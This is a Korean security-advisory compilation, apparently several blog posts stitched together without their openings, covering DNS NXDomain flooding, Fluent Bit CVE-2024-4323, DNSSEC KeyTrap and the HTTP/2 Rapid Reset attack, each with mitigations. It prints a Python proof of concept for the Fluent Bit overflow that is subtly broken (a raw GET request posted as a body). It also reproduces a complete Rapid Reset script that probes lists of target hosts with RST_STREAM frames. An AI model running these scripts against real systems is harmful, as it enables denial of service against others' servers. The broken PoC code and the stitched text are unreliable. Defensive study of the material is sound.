- DNS 서버의 핵심적 열할 때문에 항상 주요 공격 표적이 됨 [1] > 23년 한 보고서에 따르면 DNS 서버를 대상으로 한 DDoS 공격은 22년 대비 약 4배 증가 [2] - 과거 DNS 서버 대상 위협이 확인되지 않던 과거와 달리 최근 국내 DNS 서버를 대상으로 한 공격이 식별 및 증가 추세 > 24년 초를 기점으로 유입되었던 소량의 이상 트래픽은 점차 증가 > DNS 서버가 짧은 기간 동안 지속적이면서도 반복적인 대량의 NXDomain 응답 반환 식별
2. 주요내용
2.1 DNS
- Domain Name Service: 도메인 네임(www[.]example[.]com)과 IP 주소(1.1.1[.]1)를 서로 변환하는 역할
> DNS Client는 DNS Resolver에게 도메인 네임의 IP 주소를 요청
> DNS Resolver는 Root 네임 서버, TLD(Top-Level Domain) 네임 서버, Authoritative 네임 서버에 질의를 전송 및 응답
2.2 NXDomain (Non-eXistent Domain)
- 질의한 도메인 네임이 존재하지 않을 때 응답 값
2.3 DDoS
2.3.1 NXDomain Flooding (Nonsense Name Attack)
- 2015년에 처음 알려진 공격 유형
- 존재하지 않는 도메인 질의를 요청할 시 권한(Authoritative) 네임 서버가 불필요한 자원을 소모한다는 점을 착안
> IP를 위•변조하여 존재하지 않는 도메인에 대한 다량의 질의를 통해 요청을 처리하는 DNS 서버의 자원을 소모시켜 서비스 거부 상황을 초래
※ 단순히 대상 DNS 서버의 자원을 소모시키는 목적을 지니므로 요청에 대한 응답을 받을 필요가 없으므로 IP 위•변조 가능
2.3.2 Sub-Domain Scan Attack
- Sub-Domain: 주 도메인에 추가된 하위 도메인
> 서로 다른 별도의 기능을 가진 웹사이트를 구분하여 운영하기 위해 사용
- 해당 공격은 공격자가 대상 도메인의 하위 도메인을 검색하여 네트워크 구조 파악 및 잠재적인 취약점을 찾기 위함
> 다양한 서브 도메인을 질의하여 존재 여부 확인을 목적으로 하며, 존재하지 않는 서브 도메인의 경우 NXDomain 응답
> 보호되지 않은 자원을 발견하거나 공격할 수 있는 새로운 경로를 찾는 것이 목적
※ DNSCewl(서로 다른 문자열을 조합하여 공격에 사용 가능한 새로운 문자열 생성하는 도구), haklistgen(외부 홈페이지를 스캔하여 서브 도메인, HTTP Response 페이로드에서 공격에 활용할 수 있는 문자열을 추출하는 도구) 등의 Tool 사용 [5][6]
※ 질의한 서브 도메인이 실제 존재하는지를 확인해야 하므로 IP 위•변조 불가
구분
NXDoamin Flooding
Sub-Domain Scan
공격 영향
DNS 서버의 자원에 과도한 부하 유발
트래픽 특징
높은 NXDomain 응답 비율
공격 목적
서비스 가용성 침해
취약한 도메인 식별
질의 도메인
무작위 도메인
존재 가능성 있는 도메인
출발지 IP 위•변조
가능
불가
3. 대응
- NSDomain Flooding은 과도한 응답을 유발시키는 것이 목적
> Response Rate Limiting (RRL)를 통해 NXDomain에대한 질의를 제한(nxdomains-per-second: 초당 NXDOMAIN 응답 수 제한) [7]
> L7 레벨에서 DNS서버의 NXDomain 응답 임계치를 설정하고, 임계치 이상의 응답이 있을 경우 해당 출발지 IP를 임시(or 영구) 차단
- Sub-Domain Scan은 취약하거나 새로운 공격 표면을 찾기 위한 목적
> 취약한 도메인이 외부에서 접속 가능한 상태로 운용되지 않도록 조치
> 또한, 조직 내부적으로 지속적인 공격 표면 관리(ASM, Attack Surface Management)를 통해 공격 표면을 줄이고 잠재적 위협을 사전에 차단해 보안 강화 필요
공격 표면 관리(ASM, Attack Surface Management) > 조직이 소유 및 운영하는 모든 자산을 지속적으로 모니터링 > 잠재적인 취약점 식별 및 이에 대한 대응 조치를 취하는 보안 전략 > 모든 서브 도메인과 경로를 포함한 전체 자산을 명확히 파악할 수 있으며, 내부 자산에 대한 가시성 확보 가능 > 노출된 공격 표면을 최소화하고 발견된 취약점을 신속히 조치함으로써 잠재적 공격 벡터를 줄일 수 있음
- 오픈소스 멀티플랫폼 로그 프로세서 도구 - 로그를 수집, 처리하여 파이프라인을 통해 다양한 대상(Elasticsearch, Splunk 등)으로 전달하는 기능을 수행 - 메모리 사용량이 적고 의존성이 적어 가벼움 등 다양한 장점 - Google, Mircosoft, AWS, Cisco 등 여러 기업에서 사용
2. 취약점
- 취약한 버전의 Fluent Bit에서 발생하는 메모리 손상 취약점 (CVSS: 9.5) > 익스플로잇 방법에 따라 DDoS, 데이터 유출, 원격 코드 실행 공격 등이 가능
영향받는 버전 - Fluent Bit 2.0.7 ~ 3.0.3 버전
2.1 주요 내용
- 임베드 된 HTTP 서버가 일부 요청을 처리할 때 취약점이 발생
> /api/v1/traces (또는 /api/v1/trace) 엔드포인트에서 일정 유형의 입력 데이터가 적절히 확인되지 않은채 다른 프로그램으로 전달되어 취약성 발생
> 문자열이 아닌 값을 입력할 때 메모리에서 여러 가지 문제를 유발
> cd_traces() 함수에서 input_name 변수를 flb_sds_create_len() 함수를 이용해 할당 > 입력 값을 검증하지 않고 flb_sds_create_len() 함수 호출 및 사용하여 취약점이 발생하는 것으로 판단됨
※ 취약점 발생 시나리오 예시 - 큰 정수 값(또는 음수 값)은 메모리 보호를 위해 쓰기를 시도할 때 나중에 memcpy()를 호출할 때 "와일드 복사본"으로 인해 충돌 발생 가능 - -1~-16 값은 인접한 메모리의 힙 덮어쓰기를 유발할 수 있음 - 충돌할 만큼 크지 않은 정수 값은 요청을 하는 클라이언트에게 인접 메모리가 공개될 수 있음 - -17 값은 코드 후반부의 malloc()이 0으로 실패한 후 널 포인터 역참조로 인해 충돌이 발생 - 더 작고 더 많은 대상 정수 값은 다양한 스택 손상 및 힙 관리 메커니즘의 손상된 청크 및 끊어진 링크와 같은 기타 메모리 손상 문제를 유발
2.2 PoC [4]
- /traces URL에 BoF를 유발할 만큼 큰 임의의 문자와 원격 명령을 전달
import requests
import argparse
def exploit(url, port, remote_code):
target_url = f"http://{url}:{port}"
# Malicious payload to trigger the memory corruption
malicious_payload = (
"GET /traces HTTP/1.1\r\n"
f"Host: {url}\r\n"
"Content-Length: 1000000\r\n" # Large content length to trigger buffer overflow
"Connection: keep-alive\r\n\r\n"
+ "A" * 1000000 # Large amount of data to overflow the buffer
+ remote_code # Inject remote code at the end
)
try:
response = requests.post(target_url, data=malicious_payload, headers={"Content-Type": "application/octet-stream"})
print(f"Response Code: {response.status_code}")
print(f"Response Body: {response.text}")
except Exception as e:
print(f"Exploit failed: {e}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Exploit for CVE-2024-4323")
parser.add_argument("-u", "--url", required=True, help="Target URL")
parser.add_argument("-p", "--port", required=True, help="Target port number")
parser.add_argument("-c", "--code", required=True, help="Remote code to be executed")
args = parser.parse_args()
exploit(args.url, args.port, args.code)
- 독일 아테네국립응용사이버보안연구센터에서 DNS 보안 프로토콜 DNSSEC의 설계 결함을 악용한 KeyTrap (CVE-2023-50387)발견 [1] - 단일 DNS 패킷을 전송하여 서비스 거부를 유발할 수 있음 > 취약한 DNS의 경우 최소 170초에서 최대 16시간 동안 서비스 거부 발생
2. 주요내용
2.1 DNSSEC(Domain Name System Security Extension) [2][3]
- DNS는 도메인(hxxps://example[.]com)을 IP 주소(1.1.1.1)로 변환하는 역할 > 초기 설계시 보안성을 충분히 고려하지 못해 DNS 정보 위-변조가 가능하다는 문제 존재 Ex. DNS Cache Poisoning
- 기존 DNS 보안성을 강화하기 위해 공개키 암호화 방식의 보안기능을 추가한 DNSSEC(DNS Security Extensions) 도입 > DNS를 대체하는 것이 아님
2.2 KeyTrap(CVE-2023-50387) [4]
- DNSSEC 설계 결함으로 인해 DNS 서버에 서비스 거부를 유발할 수 있는 취약점 > DNSKEY 및 RRSIG 레코드가 여러개일 경우 프로토콜 사양에 따라 모든 조합에 대한 유효성 검사를 수행
- 취약점과 관련된 세 가지 DNSSEC 설계 문제 ① 여러 개의 서로 다른 DNS 키가 동일한 키 태그를 가질 수 있어 서명 유효성 검사 프로세스에 계산 부하 발생 가능 ② 서명을 성공적으로 검증하는 키를 찾거나 모든 키가 시도될 때까지 모든 키를 시도해야 하므로(가용성 보장 목적) 계산 부하 발생 가능 ③ 동일한 레코드에 여러 서명이 있는 경우 유효한 서명을 찾거나 모든 서명이 시도될 때까지 수신된 모든 서명을 검증해야 하므로, 계산 부하 발생 가능
- 영향받는 버전
2.2.1 SigJam (하나의 키 X 다수 서명)
- DNS Resolve가 하나의 DNS 키를 사용하여 DNS 레코드에 존재하는 다수의 유효하지 않은 서명을 검증하도록 유도 > DNS Resolve가 DNSKEY로 검증할 수 있는 서명을 찾을 때까지 모든 서명을 시도하도록 설계 됨 > 공격자는 단일 DNS 응답에 340개의 서명을 작성할 수 있음 > 340개의 서명에 대한 유효성 검증을 수행한 후 DNS Reolve는 클라이언트에 SERVFAIL를 반환
2.2.2 LockCram (다수의 키 X 하나의 서명)
- DNS Resolve가 ZSK DNSSEC키를 사용하여 DNS 레코드를 통해 하나의 서명을 검증하도록 유도 > DNS Resolve가 하나의 키가 검증되거나 모두 시도될 때까지 서명에 사용할 수 있는 모든 키를 시도하도록 설계 됨 > DNS Resolve는 서명을 검증하기 위해 모든 DNSSEC 키를 사용 > 해당 서명이 유효하지 않다고 결론을 내릴 때까지 서명이 참조하는 모든 키를 시도
2.2.3 KeySigTrap (다수의 키 X 다수의 서명)
- SigJam과 LockCram를 결합하여 검증 과정이 2배 증가하는 공격
> 모든 키와 서명 쌍이 검증될 때까지, 가능한 모든 조합에 대해 검증을 시도
Ex. 첫 번째 ZSK를 사용해 N개 서명을 검증한 후, 두 번째 ZSK를 사용해 N개 서명을 검증하여 N번째 ZSK를 사용해 N개 서명을 검증
> 모든 조합 시도 후 레코드를 검증할 수 없다는 결론을 내리고 클라이언트에 SERVFAIL를 반환
2.2.4 HashTrap (다수의 키 X 다수의 해시)
- 다수의 DS 해시 레코드에 대해 충동하는 다수의 DNSKEY를 검증하기 위해 많은 해시를 계산하도록 유도
3. 대응방안
- 벤더사 제공 패치 제공 > 현재까지 나온 패치는 임시 조치 > DNSSEC 설계를 처음부터 다시 해야 문제가 해결될 것
- DNSSEC 기능 비활성화시 취약점이 근본적으로 사라지나 권장하지 않음 > KeyTrap 취약점을 제외하면 DNSSEC로부터 얻는 안전의 이득이 훨씬 많음
- 하나의 Connection 당 하나의 요청을 처리하도록 설계 - 서버에 요청시 매번 연결/해제 과정을 반복해야 했으므로 RTT가 오래 걸리는 단점이 존재 (≒ 속도가 느리다) > RTT(Round Trip Time): 패킷이 왕복하는데 걸린 시간
HTTP/1.1
- Persistent Connection: 매번 Connection을 생성하지 않고, keep-alive 옵션을 이용해 일정 시간동안 연결 유지 - Pipelining: 클라이언트는 앞 요청의 응답을 기다리지 않고, 순차적으로 요청을 전송하며 서버는 요청이 들어온 순서대로 응답 - HOL Blocking (Head Of Line Blocking): 앞의 요청에 대한 응답이 늦어지면 뒤의 모든 요청들 또한 지연이 발생 - 무거운 Header 구조: 매 요청마다 중복된 헤더 값을 전송하여, 헤더 크기가 증가하는 문제
HTTP/2
- 구글의 비표준 개방형 네트워크 프로토콜 SPDY 기반 - Multiplexed Streams: 하나의 Connection을 통해 여러 데이터 요청을 병렬로 전송할 수 있음, 응답의 경우 순서 상관없이 Stream으로 전송 - Header 압축: 이전 요청에 사용된 헤더 목록을 유지관리하여 헤더 정보를 구성 - Binary protocol: 복잡성 감소, 단순한 명령어 구현 등 - Server Push: 요청되지 않았지만 향후 예상되는 추가 정보를 클라이언트에 전송할 수 있음 - Stream Prioritization: 리소스간 의존관계에 따른 우선순위를 설정하여 리소스 로드 문제 해결 -HOL Blocking (Head Of Line Blocking): 앞의 요청에 대한응답이 늦어지면 뒤의 모든 요청들 또한 지연이 발생
HTTP/3
- QUIC라는 계층 위에서 동작하며 UDP 기반 - UDP 기반이기 때문에 RTT 감소 및 HOL Blocking 문제를 극복
2. 취약점
- HTTP/2의 구조적 문제를 악용해 서비스 거부를 유발 시키는 제로데이 취약점
- 해당 취약점을 악용할 경우 DDoS 공격 규모는 약 2억 100만 RPS
> 종전 기록은 7100만 RPS
2.1 취약점 상세
- HTTP/2는 HTTP/1.1의 순차처리 방식의 단점을 보완한 Multiplexed Streams을 지원
> HTTP/1.1에서는 각 요청이 순차적으로 처리되어 비효율적이며, 지연 시간이 늘어나는 단점이 있음
> HTTP/2는 하나의 Connection상에서 동시에 여러 개의 요청을 보내 문제점을 개선
※ HTTP/2에서 Stream ID를 이용해 데이터를 처리하므로 동시에 여러 데이터를 병렬 처리가 가능함
- 또한, 클라이언트나 서버는 RST_STREAM 스트림을 전송함으로써 스트림을 취소할 수 있는 기능이 존재
> RST_STREAM을 이용해 불필요한 작업이 발생하는 것을 방지할 수 있음
> 잘못된 요청 또는 불필요 데이터 요청 등을 취소하고 빠르게 재설정할 수 있도록 하므로 Rapid Reset으로 불림
- 서버는 MAX_CONCURRENT_STREAMS값을 설정하여, 서버에서 처리 가능한 스트림의 양을 명시
> 해당 값을 초과하는 요청이 발생하면, RST_STREAM을 발생시키고 요청을 거절
※ Stream을 지속적으로 보내 서버의 자원을 고갈시키는 단순한 유형의 DDoS 대응책으로 판단됨
- 공격자는 스트림을 요청한 후 바로 RST_STREAM을 요청하여 DDoS를 유발
> MAX_CONCURRENT_STREAMS 값을 초과하지 않기 때문에, 우회가 가능함
> 즉, MAX_CONCURRENT_STREAMS 값 이상의 스트림을 보낼 수 있음
2.2 PoC [5]
① 웹 서버가 HTTP/2 요청을 다운그레이드하지 않고 수락하는지 확인
② 웹 서버가 HTTP/2 요청을 수락하고 다운그레이드하지 않을 경우, 연결 스트림을 열고 재설정 시도
③ 웹 서버가 연결 스트림의 생성 및 재설정을 수락하는 경우 취약점의 영향을 받음
#!/usr/bin/env python3
import ssl
import sys
import csv
import socket
import argparse
from datetime import datetime
from urllib.parse import urlparse
from http.client import HTTPConnection, HTTPSConnection
from h2.connection import H2Connection
from h2.config import H2Configuration
import httpx
import requests
def get_source_ips(proxies):
"""
Retrieve the internal and external IP addresses of the machine.
Accepts:
proxies (dict): A dictionary of proxies to use for the requests.
Returns:
tuple: (internal_ip, external_ip)
"""
try:
response = requests.get('http://ifconfig.me', timeout=5, proxies=proxies)
external_ip = response.text.strip()
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.settimeout(2)
try:
s.connect(('8.8.8.8', 1))
internal_ip = s.getsockname()[0]
except socket.timeout:
internal_ip = '127.0.0.1'
except Exception as e:
internal_ip = '127.0.0.1'
finally:
s.close()
return internal_ip, external_ip
except requests.exceptions.Timeout:
print("External IP request timed out.")
return None, None
except Exception as e:
print(f"Error: {e}")
return None, None
def check_http2_support(url, proxies):
"""
Check if the given URL supports HTTP/2.
Parameters:
url (str): The URL to check.
proxies (dict): A dictionary of proxies to use for the requests.
Returns:
tuple: (status, error/version)
status: 1 if HTTP/2 is supported, 0 otherwise, -1 on error.
error/version: Error message or HTTP version if not HTTP/2.
"""
try:
# Update the proxies dictionary locally within this function
local_proxies = {}
if proxies:
local_proxies = {
'http://': proxies['http'],
'https://': proxies['https'],
}
# Use the proxy if set, otherwise don't
client_options = {'http2': True, 'verify': False} # Ignore SSL verification
if local_proxies:
client_options['proxies'] = local_proxies
with httpx.Client(**client_options) as client:
response = client.get(url)
if response.http_version == 'HTTP/2':
return (1, "")
else:
return (0, f"{response.http_version}")
except Exception as e:
return (-1, f"check_http2_support - {e}")
def send_rst_stream_h2(host, port, stream_id, uri_path='/', timeout=5, proxy=None):
"""
Send an RST_STREAM frame to the given host and port.
Parameters:
host (str): The hostname.
port (int): The port number.
stream_id (int): The stream ID to reset.
uri_path (str): The URI path for the GET request.
timeout (int): The timeout in seconds for the socket connection.
proxy (str): The proxy URL, if any.
Returns:
tuple: (status, message)
status: 1 if successful, 0 if no response, -1 otherwise.
message: Additional information or error message.
"""
try:
# Create an SSL context to ignore SSL certificate verification
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE
# Create a connection based on whether a proxy is used
if proxy and proxy != "":
proxy_parts = urlparse(proxy)
if port == 443:
conn = HTTPSConnection(proxy_parts.hostname, proxy_parts.port, timeout=timeout, context=ssl_context)
conn.set_tunnel(host, port)
else:
conn = HTTPConnection(proxy_parts.hostname, proxy_parts.port, timeout=timeout)
conn.set_tunnel(host, port)
else:
if port == 443:
conn = HTTPSConnection(host, port, timeout=timeout, context=ssl_context)
else:
conn = HTTPConnection(host, port, timeout=timeout)
conn.connect()
# Initiate HTTP/2 connection
config = H2Configuration(client_side=True)
h2_conn = H2Connection(config=config)
h2_conn.initiate_connection()
conn.send(h2_conn.data_to_send())
# Send GET request headers
headers = [(':method', 'GET'), (':authority', host), (':scheme', 'https'), (':path', uri_path)]
h2_conn.send_headers(stream_id, headers)
conn.send(h2_conn.data_to_send())
# Listen for frames and send RST_STREAM when appropriate
while True:
data = conn.sock.recv(65535)
if not data:
break
events = h2_conn.receive_data(data)
has_sent = False
for event in events:
if hasattr(event, 'stream_id'):
if event.stream_id == stream_id:
h2_conn.reset_stream(event.stream_id)
conn.send(h2_conn.data_to_send())
has_sent = True
break # if we send the reset once we don't need to send it again because we at least know it worked
if has_sent: # if we've already sent the reset, we can just break out of the loop
return (1, "")
else:
# if we haven't sent the reset because we never found a stream_id matching the one we're looking for, we can just try to send to stream 1
available_id = h2_conn.get_next_available_stream_id()
if available_id == 0:
# if we can't get a new stream id, we can just send to stream 1
h2_conn.reset_stream(1)
conn.send(h2_conn.data_to_send())
return (0, "Able to send RST_STREAM to stream 1 but could not find any available stream ids")
else:
# if we can get a new stream id, we can just send to that
h2_conn.reset_stream(available_id)
conn.send(h2_conn.data_to_send())
return (1, "")
conn.close()
return (0, "No response")
except Exception as e:
return (-1, f"send_rst_stream_h2 - {e}")
def extract_hostname_port_uri(url):
"""
Extract the hostname, port, and URI from a URL.
Parameters:
url (str): The URL to extract from.
Returns:
tuple: (hostname, port, uri)
"""
try:
parsed_url = urlparse(url)
hostname = parsed_url.hostname
port = parsed_url.port
scheme = parsed_url.scheme
uri = parsed_url.path # Extracting the URI
if uri == "":
uri = "/"
if not hostname:
return -1, -1, ""
if port:
return hostname, port, uri
if scheme == 'http':
return hostname, 80, uri
if scheme == 'https':
return hostname, 443, uri
return hostname, (80, 443), uri
except Exception as e:
return -1, -1, ""
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-i', '--input', required=True)
parser.add_argument('-o', '--output', default='/dev/stdout')
parser.add_argument('--proxy', help='HTTP/HTTPS proxy URL', default=None)
parser.add_argument('-v', '--verbose', action='store_true')
args = parser.parse_args()
proxies = {}
if args.proxy:
proxies = {
'http': args.proxy,
'https': args.proxy,
}
internal_ip, external_ip = get_source_ips(proxies)
with open(args.input) as infile, open(args.output, 'w', newline='') as outfile:
csv_writer = csv.writer(outfile)
csv_writer.writerow(['Timestamp', 'Source Internal IP', 'Source External IP', 'URL', 'Vulnerability Status', 'Error/Downgrade Version'])
for line in infile:
addr = line.strip()
if addr != "":
now = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
if args.verbose:
print(f"Checking {addr}...", file=sys.stderr)
http2support, err = check_http2_support(addr, proxies)
hostname, port, uri = extract_hostname_port_uri(addr)
if http2support == 1:
resp, err2 = send_rst_stream_h2(hostname, port, 1, uri, proxy=args.proxy)
if resp == 1:
csv_writer.writerow([now, internal_ip, external_ip, addr, 'VULNERABLE', ''])
elif resp == -1:
csv_writer.writerow([now, internal_ip, external_ip, addr, 'POSSIBLE', f'Failed to send RST_STREAM: {err2}'])
elif resp == 0:
csv_writer.writerow([now, internal_ip, external_ip, addr, 'LIKELY', 'Got empty response to RST_STREAM request'])
else:
if http2support == 0:
csv_writer.writerow([now, internal_ip, external_ip, addr, 'SAFE', f"Downgraded to {err}"])
else:
csv_writer.writerow([now, internal_ip, external_ip, addr, 'ERROR', err])
3. 대응방안
- 보안 업데이트 적용 [6]
종류
안전한 버전
NGINX
1.25.3 버전 이상
Apache HTTP Server
nghttp2 1.57.0 버전 이상
Apache Tomcat
10.1.14 버전 이상
IIS
2023년 10월 10일 버전 업데이트 [7]
OpenResty
1.21.4.3 버전 이상
- 에러 로그 모니터링
> 알려진 연구에 따르면 공격 발생시 499, 502 에러가 발생되므로 관련 에러 로그 모니터링
※ 499: 클라이언트가 요청을 전송한 후 서버에 응답을 받기 전에 연결이 끊어진 경우 (강제 종료, 네트워크 문제 등의 경우)
※ 502: 게이트웨이가 잘못된 프로토콜을 연결하거나, 어느쪽 프로토콜에 문제가 있어 통신이 제대로 되지 않는 경우 (서버 과부하, 사용자 브라우저 이상, 잘못된 네트워크 연결 등의 경우)
- GOAWAY 프레임 전송
> HTTP/2에서 GOAWAY 프레임은 서버에서 발생되며, 연결 종료를 알리는 프레임
> RST_STREAM 발생 횟수를 카운트하여 해당 값이 임계 값을 초과하는 경우 GOAWAY 프레임 전송
- 관련 설정 값 수정 [6]
> F5 NGINX의 경우 최대 1000개의 연결을 유지하고, MAX_CONCURRENT_STREAMS 값을 128로 설정 하도록 권고